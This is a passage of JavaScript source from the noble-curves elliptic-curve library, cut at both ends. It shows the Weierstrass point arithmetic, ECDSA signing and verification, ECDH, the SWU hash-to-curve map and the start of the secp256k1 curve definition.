k1p = k1p.add(d);\n if (k2 & _1n)\n k2p = k2p.add(d);\n d = d.double();\n k1 >>= _1n;\n k2 >>= _1n;\n }\n if (k1neg)\n k1p = k1p.negate();\n if (k2neg)\n k2p = k2p.negate();\n k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz);\n return k1p.add(k2p);\n }\n /**\n * Constant time multiplication.\n * Uses wNAF method. Windowed method may be 10% faster,\n * but takes 2x longer to generate and consumes 2x memory.\n * Uses precomputes when available.\n * Uses endomorphism for Koblitz curves.\n * @param scalar by which the point would be multiplied\n * @returns New point\n */\n multiply(scalar) {\n assertGE(scalar);\n let n = scalar;\n let point, fake; // Fake point is used to const-time mult\n const { endo } = CURVE;\n if (endo) {\n const { k1neg, k1, k2neg, k2 } = endo.splitScalar(n);\n let { p: k1p, f: f1p } = this.wNAF(k1);\n let { p: k2p, f: f2p } = this.wNAF(k2);\n k1p = wnaf.constTimeNegate(k1neg, k1p);\n k2p = wnaf.constTimeNegate(k2neg, k2p);\n k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz);\n point = k1p.add(k2p);\n fake = f1p.add(f2p);\n }\n else {\n const { p, f } = this.wNAF(n);\n point = p;\n fake = f;\n }\n // Normalize `z` for both points, but return only real one\n return Point.normalizeZ([point, fake])[0];\n }\n /**\n * Efficiently calculate `aP + bQ`. Unsafe, can expose private key, if used incorrectly.\n * Not using Strauss-Shamir trick: precomputation tables are faster.\n * The trick could be useful if both P and Q are not G (not in our case).\n * @returns non-zero affine point\n */\n multiplyAndAddUnsafe(Q, a, b) {\n const G = Point.BASE; // No Strauss-Shamir trick: we have 10% faster G precomputes\n const mul = (P, a // Select faster multiply() method\n ) => (a === _0n || a === _1n || !P.equals(G) ? P.multiplyUnsafe(a) : P.multiply(a));\n const sum = mul(this, a).add(mul(Q, b));\n return sum.is0() ? undefined : sum;\n }\n // Converts Projective point to affine (x, y) coordinates.\n // Can accept precomputed Z^-1 - for example, from invertBatch.\n // (x, y, z) ∋ (x=x/z, y=y/z)\n toAffine(iz) {\n const { px: x, py: y, pz: z } = this;\n const is0 = this.is0();\n // If invZ was 0, we return zero point. However we still want to execute\n // all operations, so we replace invZ with a random number, 1.\n if (iz == null)\n iz = is0 ? Fp.ONE : Fp.inv(z);\n const ax = Fp.mul(x, iz);\n const ay = Fp.mul(y, iz);\n const zz = Fp.mul(z, iz);\n if (is0)\n return { x: Fp.ZERO, y: Fp.ZERO };\n if (!Fp.eql(zz, Fp.ONE))\n throw new Error('invZ was invalid');\n return { x: ax, y: ay };\n }\n isTorsionFree() {\n const { h: cofactor, isTorsionFree } = CURVE;\n if (cofactor === _1n)\n return true; // No subgroups, always torsion-free\n if (isTorsionFree)\n return isTorsionFree(Point, this);\n throw new Error('isTorsionFree() has not been declared for the elliptic curve');\n }\n clearCofactor() {\n const { h: cofactor, clearCofactor } = CURVE;\n if (cofactor === _1n)\n return this; // Fast-path\n if (clearCofactor)\n return clearCofactor(Point, this);\n return this.multiplyUnsafe(CURVE.h);\n }\n toRawBytes(isCompressed = true) {\n this.assertValidity();\n return toBytes(Point, this, isCompressed);\n }\n toHex(isCompressed = true) {\n return ut.bytesToHex(this.toRawBytes(isCompressed));\n }\n }\n Point.BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE);\n Point.ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO);\n const _bits = CURVE.nBitLength;\n const wnaf = wNAF(Point, CURVE.endo ? Math.ceil(_bits / 2) : _bits);\n // Validate if generator point is on curve\n return {\n CURVE,\n ProjectivePoint: Point,\n normPrivateKeyToScalar,\n weierstrassEquation,\n isWithinCurveOrder,\n };\n}\nfunction validateOpts(curve) {\n const opts = validateBasic(curve);\n ut.validateObject(opts, {\n hash: 'hash',\n hmac: 'function',\n randomBytes: 'function',\n }, {\n bits2int: 'function',\n bits2int_modN: 'function',\n lowS: 'boolean',\n });\n return Object.freeze({ lowS: true, ...opts });\n}\nexport function weierstrass(curveDef) {\n const CURVE = validateOpts(curveDef);\n const { Fp, n: CURVE_ORDER } = CURVE;\n const compressedLen = Fp.BYTES + 1; // e.g. 33 for 32\n const uncompressedLen = 2 * Fp.BYTES + 1; // e.g. 65 for 32\n function isValidFieldElement(num) {\n return _0n < num && num < Fp.ORDER; // 0 is banned since it's not invertible FE\n }\n function modN(a) {\n return mod.mod(a, CURVE_ORDER);\n }\n function invN(a) {\n return mod.invert(a, CURVE_ORDER);\n }\n const { ProjectivePoint: Point, normPrivateKeyToScalar, weierstrassEquation, isWithinCurveOrder, } = weierstrassPoints({\n ...CURVE,\n toBytes(_c, point, isCompressed) {\n const a = point.toAffine();\n const x = Fp.toBytes(a.x);\n const cat = ut.concatBytes;\n if (isCompressed) {\n return cat(Uint8Array.from([point.hasEvenY() ? 0x02 : 0x03]), x);\n }\n else {\n return cat(Uint8Array.from([0x04]), x, Fp.toBytes(a.y));\n }\n },\n fromBytes(bytes) {\n const len = bytes.length;\n const head = bytes[0];\n const tail = bytes.subarray(1);\n // this.assertValidity() is done inside of fromHex\n if (len === compressedLen && (head === 0x02 || head === 0x03)) {\n const x = ut.bytesToNumberBE(tail);\n if (!isValidFieldElement(x))\n throw new Error('Point is not on curve');\n const y2 = weierstrassEquation(x); // y² = x³ + ax + b\n let y = Fp.sqrt(y2); // y = y² ^ (p+1)/4\n const isYOdd = (y & _1n) === _1n;\n // ECDSA\n const isHeadOdd = (head & 1) === 1;\n if (isHeadOdd !== isYOdd)\n y = Fp.neg(y);\n return { x, y };\n }\n else if (len === uncompressedLen && head === 0x04) {\n const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES));\n const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES));\n return { x, y };\n }\n else {\n throw new Error(`Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes`);\n }\n },\n });\n const numToNByteStr = (num) => ut.bytesToHex(ut.numberToBytesBE(num, CURVE.nByteLength));\n function isBiggerThanHalfOrder(number) {\n const HALF = CURVE_ORDER >> _1n;\n return number > HALF;\n }\n function normalizeS(s) {\n return isBiggerThanHalfOrder(s) ? modN(-s) : s;\n }\n // slice bytes num\n const slcNum = (b, from, to) => ut.bytesToNumberBE(b.slice(from, to));\n /**\n * ECDSA signature with its (r, s) properties. Supports DER & compact representations.\n */\n class Signature {\n constructor(r, s, recovery) {\n this.r = r;\n this.s = s;\n this.recovery = recovery;\n this.assertValidity();\n }\n // pair (bytes of r, bytes of s)\n static fromCompact(hex) {\n const l = CURVE.nByteLength;\n hex = ensureBytes('compactSignature', hex, l * 2);\n return new Signature(slcNum(hex, 0, l), slcNum(hex, l, 2 * l));\n }\n // DER encoded ECDSA signature\n // https://bitcoin.stackexchange.com/questions/57644/what-are-the-parts-of-a-bitcoin-transaction-input-script\n static fromDER(hex) {\n const { r, s } = DER.toSig(ensureBytes('DER', hex));\n return new Signature(r, s);\n }\n assertValidity() {\n // can use assertGE here\n if (!isWithinCurveOrder(this.r))\n throw new Error('r must be 0 < r < CURVE.n');\n if (!isWithinCurveOrder(this.s))\n throw new Error('s must be 0 < s < CURVE.n');\n }\n addRecoveryBit(recovery) {\n return new Signature(this.r, this.s, recovery);\n }\n recoverPublicKey(msgHash) {\n const { r, s, recovery: rec } = this;\n const h = bits2int_modN(ensureBytes('msgHash', msgHash)); // Truncate hash\n if (rec == null || ![0, 1, 2, 3].includes(rec))\n throw new Error('recovery id invalid');\n const radj = rec === 2 || rec === 3 ? r + CURVE.n : r;\n if (radj >= Fp.ORDER)\n throw new Error('recovery id 2 or 3 invalid');\n const prefix = (rec & 1) === 0 ? '02' : '03';\n const R = Point.fromHex(prefix + numToNByteStr(radj));\n const ir = invN(radj); // r^-1\n const u1 = modN(-h * ir); // -hr^-1\n const u2 = modN(s * ir); // sr^-1\n const Q = Point.BASE.multiplyAndAddUnsafe(R, u1, u2); // (sr^-1)R-(hr^-1)G = -(hr^-1)G + (sr^-1)\n if (!Q)\n throw new Error('point at infinify'); // unsafe is fine: no priv data leaked\n Q.assertValidity();\n return Q;\n }\n // Signatures should be low-s, to prevent malleability.\n hasHighS() {\n return isBiggerThanHalfOrder(this.s);\n }\n normalizeS() {\n return this.hasHighS() ? new Signature(this.r, modN(-this.s), this.recovery) : this;\n }\n // DER-encoded\n toDERRawBytes() {\n return ut.hexToBytes(this.toDERHex());\n }\n toDERHex() {\n return DER.hexFromSig({ r: this.r, s: this.s });\n }\n // padded bytes of r, then padded bytes of s\n toCompactRawBytes() {\n return ut.hexToBytes(this.toCompactHex());\n }\n toCompactHex() {\n return numToNByteStr(this.r) + numToNByteStr(this.s);\n }\n }\n const utils = {\n isValidPrivateKey(privateKey) {\n try {\n normPrivateKeyToScalar(privateKey);\n return true;\n }\n catch (error) {\n return false;\n }\n },\n normPrivateKeyToScalar: normPrivateKeyToScalar,\n /**\n * Produces cryptographically secure private key from random of size\n * (groupLen + ceil(groupLen / 2)) with modulo bias being negligible.\n */\n randomPrivateKey: () => {\n const length = mod.getMinHashLength(CURVE.n);\n return mod.mapHashToField(CURVE.randomBytes(length), CURVE.n);\n },\n /**\n * Creates precompute table for an arbitrary EC point. Makes point \"cached\".\n * Allows to massively speed-up `point.multiply(scalar)`.\n * @returns cached point\n * @example\n * const fast = utils.precompute(8, ProjectivePoint.fromHex(someonesPubKey));\n * fast.multiply(privKey); // much faster ECDH now\n */\n precompute(windowSize = 8, point = Point.BASE) {\n point._setWindowSize(windowSize);\n point.multiply(BigInt(3)); // 3 is arbitrary, just need any number here\n return point;\n },\n };\n /**\n * Computes public key for a private key. Checks for validity of the private key.\n * @param privateKey private key\n * @param isCompressed whether to return compact (default), or full key\n * @returns Public key, full when isCompressed=false; short when isCompressed=true\n */\n function getPublicKey(privateKey, isCompressed = true) {\n return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed);\n }\n /**\n * Quick and dirty check for item being public key. Does not validate hex, or being on-curve.\n */\n function isProbPub(item) {\n const arr = item instanceof Uint8Array;\n const str = typeof item === 'string';\n const len = (arr || str) && item.length;\n if (arr)\n return len === compressedLen || len === uncompressedLen;\n if (str)\n return len === 2 * compressedLen || len === 2 * uncompressedLen;\n if (item instanceof Point)\n return true;\n return false;\n }\n /**\n * ECDH (Elliptic Curve Diffie Hellman).\n * Computes shared public key from private key and public key.\n * Checks: 1) private key validity 2) shared key is on-curve.\n * Does NOT hash the result.\n * @param privateA private key\n * @param publicB different public key\n * @param isCompressed whether to return compact (default), or full key\n * @returns shared public key\n */\n function getSharedSecret(privateA, publicB, isCompressed = true) {\n if (isProbPub(privateA))\n throw new Error('first arg must be private key');\n if (!isProbPub(publicB))\n throw new Error('second arg must be public key');\n const b = Point.fromHex(publicB); // check for being on-curve\n return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed);\n }\n // RFC6979: ensure ECDSA msg is X bytes and < N. RFC suggests optional truncating via bits2octets.\n // FIPS 186-4 4.6 suggests the leftmost min(nBitLen, outLen) bits, which matches bits2int.\n // bits2int can produce res>N, we can do mod(res, N) since the bitLen is the same.\n // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors\n const bits2int = CURVE.bits2int ||\n function (bytes) {\n // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m)\n // for some cases, since bytes.length * 8 is not actual bitLength.\n const num = ut.bytesToNumberBE(bytes); // check for == u8 done here\n const delta = bytes.length * 8 - CURVE.nBitLength; // truncate to nBitLength leftmost bits\n return delta > 0 ? num >> BigInt(delta) : num;\n };\n const bits2int_modN = CURVE.bits2int_modN ||\n function (bytes) {\n return modN(bits2int(bytes)); // can't use bytesToNumberBE here\n };\n // NOTE: pads output with zero as per spec\n const ORDER_MASK = ut.bitMask(CURVE.nBitLength);\n /**\n * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`.\n */\n function int2octets(num) {\n if (typeof num !== 'bigint')\n throw new Error('bigint expected');\n if (!(_0n <= num && num < ORDER_MASK))\n throw new Error(`bigint expected < 2^${CURVE.nBitLength}`);\n // works with order, can have different size than numToField!\n return ut.numberToBytesBE(num, CURVE.nByteLength);\n }\n // Steps A, D of RFC6979 3.2\n // Creates RFC6979 seed; converts msg/privKey to numbers.\n // Used only in sign, not in verify.\n // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521.\n // Also it can be bigger for P224 + SHA256\n function prepSig(msgHash, privateKey, opts = defaultSigOpts) {\n if (['recovered', 'canonical'].some((k) => k in opts))\n throw new Error('sign() legacy options not supported');\n const { hash, randomBytes } = CURVE;\n let { lowS, prehash, extraEntropy: ent } = opts; // generates low-s sigs by default\n if (lowS == null)\n lowS = true; // RFC6979 3.2: we skip step A, because we already provide hash\n msgHash = ensureBytes('msgHash', msgHash);\n if (prehash)\n msgHash = ensureBytes('prehashed msgHash', hash(msgHash));\n // We can't later call bits2octets, since nested bits2int is broken for curves\n // with nBitLength % 8 !== 0. Because of that, we unwrap it here as int2octets call.\n // const bits2octets = (bits) => int2octets(bits2int_modN(bits))\n const h1int = bits2int_modN(msgHash);\n const d = normPrivateKeyToScalar(privateKey); // validate private key, convert to bigint\n const seedArgs = [int2octets(d), int2octets(h1int)];\n // extraEntropy. RFC6979 3.6: additional k' (optional).\n if (ent != null) {\n // K = HMAC_K(V || 0x00 || int2octets(x) || bits2octets(h1) || k')\n const e = ent === true ? randomBytes(Fp.BYTES) : ent; // generate random bytes OR pass as-is\n seedArgs.push(ensureBytes('extraEntropy', e)); // check for being bytes\n }\n const seed = ut.concatBytes(...seedArgs); // Step D of RFC6979 3.2\n const m = h1int; // NOTE: no need to call bits2int second time here, it is inside truncateHash!\n // Converts signature params into point w r/s, checks result for validity.\n function k2sig(kBytes) {\n // RFC 6979 Section 3.2, step 3: k = bits2int(T)\n const k = bits2int(kBytes); // Cannot use fields methods, since it is group element\n if (!isWithinCurveOrder(k))\n return; // Important: all mod() calls here must be done over N\n const ik = invN(k); // k^-1 mod n\n const q = Point.BASE.multiply(k).toAffine(); // q = Gk\n const r = modN(q.x); // r = q.x mod n\n if (r === _0n)\n return;\n // Can use scalar blinding b^-1(bm + bdr) where b ∈ [1,q−1] according to\n // https://tches.iacr.org/index.php/TCHES/article/view/7337/6509. We've decided against it:\n // a) dependency on CSPRNG b) 15% slowdown c) doesn't really help since bigints are not CT\n const s = modN(ik * modN(m + r * d)); // Not using blinding here\n if (s === _0n)\n return;\n let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n); // recovery bit (2 or 3, when q.x > n)\n let normS = s;\n if (lowS && isBiggerThanHalfOrder(s)) {\n normS = normalizeS(s); // if lowS was passed, ensure s is always\n recovery ^= 1; // // in the bottom half of N\n }\n return new Signature(r, normS, recovery); // use normS, not s\n }\n return { seed, k2sig };\n }\n const defaultSigOpts = { lowS: CURVE.lowS, prehash: false };\n const defaultVerOpts = { lowS: CURVE.lowS, prehash: false };\n /**\n * Signs message hash with a private key.\n * ```\n * sign(m, d, k) where\n * (x, y) = G × k\n * r = x mod n\n * s = (m + dr)/k mod n\n * ```\n * @param msgHash NOT message. msg needs to be hashed to `msgHash`, or use `prehash`.\n * @param privKey private key\n * @param opts lowS for non-malleable sigs. extraEntropy for mixing randomness into k. prehash will hash first arg.\n * @returns signature with recovery param\n */\n function sign(msgHash, privKey, opts = defaultSigOpts) {\n const { seed, k2sig } = prepSig(msgHash, privKey, opts); // Steps A, D of RFC6979 3.2.\n const C = CURVE;\n const drbg = ut.createHmacDrbg(C.hash.outputLen, C.nByteLength, C.hmac);\n return drbg(seed, k2sig); // Steps B, C, D, E, F, G\n }\n // Enable precomputes. Slows down first publicKey computation by 20ms.\n Point.BASE._setWindowSize(8);\n // utils.precompute(8, ProjectivePoint.BASE)\n /**\n * Verifies a signature against message hash and public key.\n * Rejects lowS signatures by default: to override,\n * specify option `{lowS: false}`. Implements section 4.1.4 from https://www.secg.org/sec1-v2.pdf:\n *\n * ```\n * verify(r, s, h, P) where\n * U1 = hs^-1 mod n\n * U2 = rs^-1 mod n\n * R = U1⋅G - U2⋅P\n * mod(R.x, n) == r\n * ```\n */\n function verify(signature, msgHash, publicKey, opts = defaultVerOpts) {\n const sg = signature;\n msgHash = ensureBytes('msgHash', msgHash);\n publicKey = ensureBytes('publicKey', publicKey);\n if ('strict' in opts)\n throw new Error('options.strict was renamed to lowS');\n const { lowS, prehash } = opts;\n let _sig = undefined;\n let P;\n try {\n if (typeof sg === 'string' || sg instanceof Uint8Array) {\n // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length).\n // Since DER can also be 2*nByteLength bytes, we check for it first.\n try {\n _sig = Signature.fromDER(sg);\n }\n catch (derError) {\n if (!(derError instanceof DER.Err))\n throw derError;\n _sig = Signature.fromCompact(sg);\n }\n }\n else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') {\n const { r, s } = sg;\n _sig = new Signature(r, s);\n }\n else {\n throw new Error('PARSE');\n }\n P = Point.fromHex(publicKey);\n }\n catch (error) {\n if (error.message === 'PARSE')\n throw new Error(`signature must be Signature instance, Uint8Array or hex string`);\n return false;\n }\n if (lowS && _sig.hasHighS())\n return false;\n if (prehash)\n msgHash = CURVE.hash(msgHash);\n const { r, s } = _sig;\n const h = bits2int_modN(msgHash); // Cannot use fields methods, since it is group element\n const is = invN(s); // s^-1\n const u1 = modN(h * is); // u1 = hs^-1 mod n\n const u2 = modN(r * is); // u2 = rs^-1 mod n\n const R = Point.BASE.multiplyAndAddUnsafe(P, u1, u2)?.toAffine(); // R = u1⋅G + u2⋅P\n if (!R)\n return false;\n const v = modN(R.x);\n return v === r;\n }\n return {\n CURVE,\n getPublicKey,\n getSharedSecret,\n sign,\n verify,\n ProjectivePoint: Point,\n Signature,\n utils,\n };\n}\n/**\n * Implementation of the Shallue and van de Woestijne method for any weierstrass curve.\n * TODO: check if there is a way to merge this with uvRatio in Edwards; move to modular.\n * b = True and y = sqrt(u / v) if (u / v) is square in F, and\n * b = False and y = sqrt(Z * (u / v)) otherwise.\n * @param Fp\n * @param Z\n * @returns\n */\nexport function SWUFpSqrtRatio(Fp, Z) {\n // Generic implementation\n const q = Fp.ORDER;\n let l = _0n;\n for (let o = q - _1n; o % _2n === _0n; o /= _2n)\n l += _1n;\n const c1 = l; // 1. c1, the largest integer such that 2^c1 divides q - 1.\n // We need 2n ** c1 and 2n ** (c1-1). We can't use **; but we can use <<.\n // 2n ** c1 == 2n << (c1-1)\n const _2n_pow_c1_1 = _2n << (c1 - _1n - _1n);\n const _2n_pow_c1 = _2n_pow_c1_1 * _2n;\n const c2 = (q - _1n) / _2n_pow_c1; // 2. c2 = (q - 1) / (2^c1) # Integer arithmetic\n const c3 = (c2 - _1n) / _2n; // 3. c3 = (c2 - 1) / 2 # Integer arithmetic\n const c4 = _2n_pow_c1 - _1n; // 4. c4 = 2^c1 - 1 # Integer arithmetic\n const c5 = _2n_pow_c1_1; // 5. c5 = 2^(c1 - 1) # Integer arithmetic\n const c6 = Fp.pow(Z, c2); // 6. c6 = Z^c2\n const c7 = Fp.pow(Z, (c2 + _1n) / _2n); // 7. c7 = Z^((c2 + 1) / 2)\n let sqrtRatio = (u, v) => {\n let tv1 = c6; // 1. tv1 = c6\n let tv2 = Fp.pow(v, c4); // 2. tv2 = v^c4\n let tv3 = Fp.sqr(tv2); // 3. tv3 = tv2^2\n tv3 = Fp.mul(tv3, v); // 4. tv3 = tv3 * v\n let tv5 = Fp.mul(u, tv3); // 5. tv5 = u * tv3\n tv5 = Fp.pow(tv5, c3); // 6. tv5 = tv5^c3\n tv5 = Fp.mul(tv5, tv2); // 7. tv5 = tv5 * tv2\n tv2 = Fp.mul(tv5, v); // 8. tv2 = tv5 * v\n tv3 = Fp.mul(tv5, u); // 9. tv3 = tv5 * u\n let tv4 = Fp.mul(tv3, tv2); // 10. tv4 = tv3 * tv2\n tv5 = Fp.pow(tv4, c5); // 11. tv5 = tv4^c5\n let isQR = Fp.eql(tv5, Fp.ONE); // 12. isQR = tv5 == 1\n tv2 = Fp.mul(tv3, c7); // 13. tv2 = tv3 * c7\n tv5 = Fp.mul(tv4, tv1); // 14. tv5 = tv4 * tv1\n tv3 = Fp.cmov(tv2, tv3, isQR); // 15. tv3 = CMOV(tv2, tv3, isQR)\n tv4 = Fp.cmov(tv5, tv4, isQR); // 16. tv4 = CMOV(tv5, tv4, isQR)\n // 17. for i in (c1, c1 - 1, ..., 2):\n for (let i = c1; i > _1n; i--) {\n let tv5 = i - _2n; // 18. tv5 = i - 2\n tv5 = _2n << (tv5 - _1n); // 19. tv5 = 2^tv5\n let tvv5 = Fp.pow(tv4, tv5); // 20. tv5 = tv4^tv5\n const e1 = Fp.eql(tvv5, Fp.ONE); // 21. e1 = tv5 == 1\n tv2 = Fp.mul(tv3, tv1); // 22. tv2 = tv3 * tv1\n tv1 = Fp.mul(tv1, tv1); // 23. tv1 = tv1 * tv1\n tvv5 = Fp.mul(tv4, tv1); // 24. tv5 = tv4 * tv1\n tv3 = Fp.cmov(tv2, tv3, e1); // 25. tv3 = CMOV(tv2, tv3, e1)\n tv4 = Fp.cmov(tvv5, tv4, e1); // 26. tv4 = CMOV(tv5, tv4, e1)\n }\n return { isValid: isQR, value: tv3 };\n };\n if (Fp.ORDER % _4n === _3n) {\n // sqrt_ratio_3mod4(u, v)\n const c1 = (Fp.ORDER - _3n) / _4n; // 1. c1 = (q - 3) / 4 # Integer arithmetic\n const c2 = Fp.sqrt(Fp.neg(Z)); // 2. c2 = sqrt(-Z)\n sqrtRatio = (u, v) => {\n let tv1 = Fp.sqr(v); // 1. tv1 = v^2\n const tv2 = Fp.mul(u, v); // 2. tv2 = u * v\n tv1 = Fp.mul(tv1, tv2); // 3. tv1 = tv1 * tv2\n let y1 = Fp.pow(tv1, c1); // 4. y1 = tv1^c1\n y1 = Fp.mul(y1, tv2); // 5. y1 = y1 * tv2\n const y2 = Fp.mul(y1, c2); // 6. y2 = y1 * c2\n const tv3 = Fp.mul(Fp.sqr(y1), v); // 7. tv3 = y1^2; 8. tv3 = tv3 * v\n const isQR = Fp.eql(tv3, u); // 9. isQR = tv3 == u\n let y = Fp.cmov(y2, y1, isQR); // 10. y = CMOV(y2, y1, isQR)\n return { isValid: isQR, value: y }; // 11. return (isQR, y) isQR ? y : y*c2\n };\n }\n // No curves uses that\n // if (Fp.ORDER % _8n === _5n) // sqrt_ratio_5mod8\n return sqrtRatio;\n}\n/**\n * Simplified Shallue-van de Woestijne-Ulas Method\n * https://www.rfc-editor.org/rfc/rfc9380#section-6.6.2\n */\nexport function mapToCurveSimpleSWU(Fp, opts) {\n mod.validateField(Fp);\n if (!Fp.isValid(opts.A) || !Fp.isValid(opts.B) || !Fp.isValid(opts.Z))\n throw new Error('mapToCurveSimpleSWU: invalid opts');\n const sqrtRatio = SWUFpSqrtRatio(Fp, opts.Z);\n if (!Fp.isOdd)\n throw new Error('Fp.isOdd is not implemented!');\n // Input: u, an element of F.\n // Output: (x, y), a point on E.\n return (u) => {\n // prettier-ignore\n let tv1, tv2, tv3, tv4, tv5, tv6, x, y;\n tv1 = Fp.sqr(u); // 1. tv1 = u^2\n tv1 = Fp.mul(tv1, opts.Z); // 2. tv1 = Z * tv1\n tv2 = Fp.sqr(tv1); // 3. tv2 = tv1^2\n tv2 = Fp.add(tv2, tv1); // 4. tv2 = tv2 + tv1\n tv3 = Fp.add(tv2, Fp.ONE); // 5. tv3 = tv2 + 1\n tv3 = Fp.mul(tv3, opts.B); // 6. tv3 = B * tv3\n tv4 = Fp.cmov(opts.Z, Fp.neg(tv2), !Fp.eql(tv2, Fp.ZERO)); // 7. tv4 = CMOV(Z, -tv2, tv2 != 0)\n tv4 = Fp.mul(tv4, opts.A); // 8. tv4 = A * tv4\n tv2 = Fp.sqr(tv3); // 9. tv2 = tv3^2\n tv6 = Fp.sqr(tv4); // 10. tv6 = tv4^2\n tv5 = Fp.mul(tv6, opts.A); // 11. tv5 = A * tv6\n tv2 = Fp.add(tv2, tv5); // 12. tv2 = tv2 + tv5\n tv2 = Fp.mul(tv2, tv3); // 13. tv2 = tv2 * tv3\n tv6 = Fp.mul(tv6, tv4); // 14. tv6 = tv6 * tv4\n tv5 = Fp.mul(tv6, opts.B); // 15. tv5 = B * tv6\n tv2 = Fp.add(tv2, tv5); // 16. tv2 = tv2 + tv5\n x = Fp.mul(tv1, tv3); // 17. x = tv1 * tv3\n const { isValid, value } = sqrtRatio(tv2, tv6); // 18. (is_gx1_square, y1) = sqrt_ratio(tv2, tv6)\n y = Fp.mul(tv1, u); // 19. y = tv1 * u -> Z * u^3 * y1\n y = Fp.mul(y, value); // 20. y = y * y1\n x = Fp.cmov(x, tv3, isValid); // 21. x = CMOV(x, tv3, is_gx1_square)\n y = Fp.cmov(y, value, isValid); // 22. y = CMOV(y, y1, is_gx1_square)\n const e1 = Fp.isOdd(u) === Fp.isOdd(y); // 23. e1 = sgn0(u) == sgn0(y)\n y = Fp.cmov(Fp.neg(y), y, e1); // 24. y = CMOV(-y, y, e1)\n x = Fp.div(x, tv4); // 25. x = x / tv4\n return { x, y };\n };\n}\n//# sourceMappingURL=weierstrass.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\nimport { hmac } from '@noble/hashes/hmac';\nimport { concatBytes, randomBytes } from '@noble/hashes/utils';\nimport { weierstrass } from './abstract/weierstrass.js';\n// connects noble-curves to noble-hashes\nexport function getHash(hash) {\n return {\n hash,\n hmac: (key, ...msgs) => hmac(hash, key, concatBytes(...msgs)),\n randomBytes,\n };\n}\nexport function createCurve(curveDef, defHash) {\n const create = (hash) => weierstrass({ ...curveDef, ...getHash(hash) });\n return Object.freeze({ ...create(defHash), create });\n}\n//# sourceMappingURL=_shortw_utils.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\nimport { sha256 } from '@noble/hashes/sha256';\nimport { randomBytes } from '@noble/hashes/utils';\nimport { Field, mod, pow2 } from './abstract/modular.js';\nimport { mapToCurveSimpleSWU } from './abstract/weierstrass.js';\nimport { bytesToNumberBE, concatBytes, ensureBytes, numberToBytesBE } from './abstract/utils.js';\nimport { createHasher, isogenyMap } from './abstract/hash-to-curve.js';\nimport { createCurve } from './_shortw_utils.js';\nconst secp256k1P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f');\nconst secp256k1N = BigInt('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141');\nconst _1n = BigInt(1);\nconst _2n = BigInt(2);\nconst divNearest = (a, b) => (a + b / _2n) / b;\n/**\n * √n = n^((p+1)/4) for fields p = 3 mod 4. We unwrap the loop and multiply bit-by-bit.\n * (P+1n/4n).toString(2) would produce bits [223x 1, 0, 22x 1, 4x 0, 11, 00]\n */\nfunction sqrtMod(y) {\n const P = secp256k1P;\n // prettier-ignore\n const _3n = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22);\n // prettier-ignore\n const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88);\n const b2 = (y * y * y) % P; // x^3, 11\n const b3 = (b2 * b2 * y) % P; // x^7\n const b6 = (pow2(b3, _3n, P) * b3) % P;\n const b9 = (pow2(b6, _3n, P) * b3) % P;\n const b11 = (pow2(b9, _2n, P) * b2) % P;\n const b22 = (pow2(b11, _11n, P) * b11) % P;\n const b44 = (pow2(b22, _22n, P) * b22) % P;\n const b88 = (pow2(b44, _44n, P) * b44) % P;\n const b176 = (pow2(b88, _88n, P) * b88) % P;\n const b220 = (pow2(b176, _44n, P) * b44) % P;\n const b223 = (pow2(b220, _3n, P) * b3) % P;\n const t1 = (pow2(b223, _23n, P) * b22) % P;\n const t2 = (pow2(t1, _6n, P) * b2) % P;\n const root = pow2(t2, _2n, P);\n if (!Fp.eql(Fp.sqr(root), y))\n throw new Error('Cannot find square root');\n return root;\n}\nconst Fp = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod });\nexport const secp256k1 = createCurve({\n a: BigInt(0),\n b: BigInt(7),\n Fp,\n n: secp256k1N,\n // Base point (x, y) aka generator point\n Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'),\n Gy: BigInt('32670510020758816978083085130507043184471273380659243275938904335757337482424'),\n h: BigInt(1),\n lowS: true,\n /**\n * secp256k1 belongs to Koblitz curves: it has efficiently computable endomorphism.\n * Endomorphism uses 2x less RAM, speeds up precomputation by 2x and ECDH / key recovery by 20%.\n * For precomputed wNAF it trades off 1/2 init time & 1/3 ram for 20% perf hit.\n * Explanation: https://gist.github.com/paulmillr/eb670806793e84df628a7c434a873066\n */\n endo: {\n beta: BigInt('0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee'),\n splitScalar: (k) => {\n const n = secp256k1N;\n const a1 = BigInt('0x3086d221a7d46bcde86c90e49284eb15');\n const b1 = -_1n * BigInt('0xe4437ed6010e88286f547fa90abfe4c3');\n const a2 = BigInt('0x114ca50f7a8e2f3f657c1108d9d44cfd8');\n const b2 = a1;\n const POW_2_128 = BigInt('0x100000000000000000000000000000000'); // (2n**128n).toString(16)\n const c1 = divNearest(b2 * k, n);\n const c2 = divNearest(-b1 * k, n);\n let k1 = mod(k - c1 * a1 - c2 * a2, n);\n let k2 = mod(-c1 * b1 - c2 * b2, n);\n const k1neg = k1 > POW_2_128;\n const k2neg = k2 > POW_2_128;\n if (k1neg)\n k1 = n - k1;\n if (k2neg)\n k2 = n - k2;\n if (k1 > POW_2_128 || k2 > POW_2_128) {\n throw new Error('splitScalar: Endomorphism failed, 